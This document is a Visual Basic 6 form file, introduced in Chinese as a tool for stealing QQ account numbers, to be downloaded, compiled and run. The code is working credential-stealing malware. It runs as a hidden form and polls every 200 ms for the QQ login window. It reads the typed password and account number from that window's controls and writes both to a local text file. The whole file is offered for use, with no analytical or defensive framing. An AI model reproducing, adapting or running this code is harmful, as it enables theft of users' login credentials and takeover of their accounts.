form1.frm

可一用来盗取QQ号码的哈 下载后编译运行

VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   2385
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   2385
   ScaleWidth      =   4680
   StartUpPosition =   3  '窗口缺省
   Visible         =   0   'False
   Begin VB.Timer Timer1 
      Interval        =   200
      Left            =   1920
      Top             =   1440
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'''''''''''''''''''''''''''''''''''''''''
'    整理：泰山                         '
'    主页：http://dyqing.533.net        '
'    E-Mail:[e-mail]           '
'''''''''''''''''''''''''''''''''''''''''
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpclassname As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
'QQ的类名
Const ClassName = "#32770"
'QQ的用户密码输入框类名
Const PassWord = "Edit"
'QQ的用户名称类名
Const UserName = "ComboBox"
Const ForReading = 1, ForWriting = 2
Private Sub Timer1_Timer()
    Dim cLong As Long
    Dim astr1 As String * 10
    Dim astr As String * 20
    Dim fso As FileSystemObject
    Dim f
    '查找登陆窗口并取得句柄
wnd = FindWindow(ClassName, vbNullString)
If wnd <> 0 Then '如果出现登陆窗口
'取得密码框的句柄
wnd = FindWindowEx(wnd, 0, PassWord, vbNullString)
'截取输入信息
cLong = SendMessage(wnd, WM_GETTEXTLENGTH, 0, vbNull)
aa = SendMessage(wnd, WM_GETTEXT, cLong + 1, astr1)
'查找登陆窗口并取得句柄
wnd = FindWindow(ClassName, vbNullString)
'取得拥护号码的句柄
wnd = FindWindowEx(wnd, 0, UserName, vbNullString)
'拦截输入信息
cLong = SendMessage(wnd, WM_GETTEXTLENGTH, 0, vbNull)
aa = SendMessage(wnd, WM_GETTEXT, cLong + 1, astr)
'引用文件操作对象FSO
  Set fso = CreateObject("Scripting.FileSystemObject")
  '写
  Set f = fso.OpenTextFile("C:\learnvb\vbhelp\asc.txt", ForWriting, True)
  f.Write "QQ号码：" + astr + vbCrLf + "  密码: " + astr1
  
End If
astr = ""
astr1 = ""
End Sub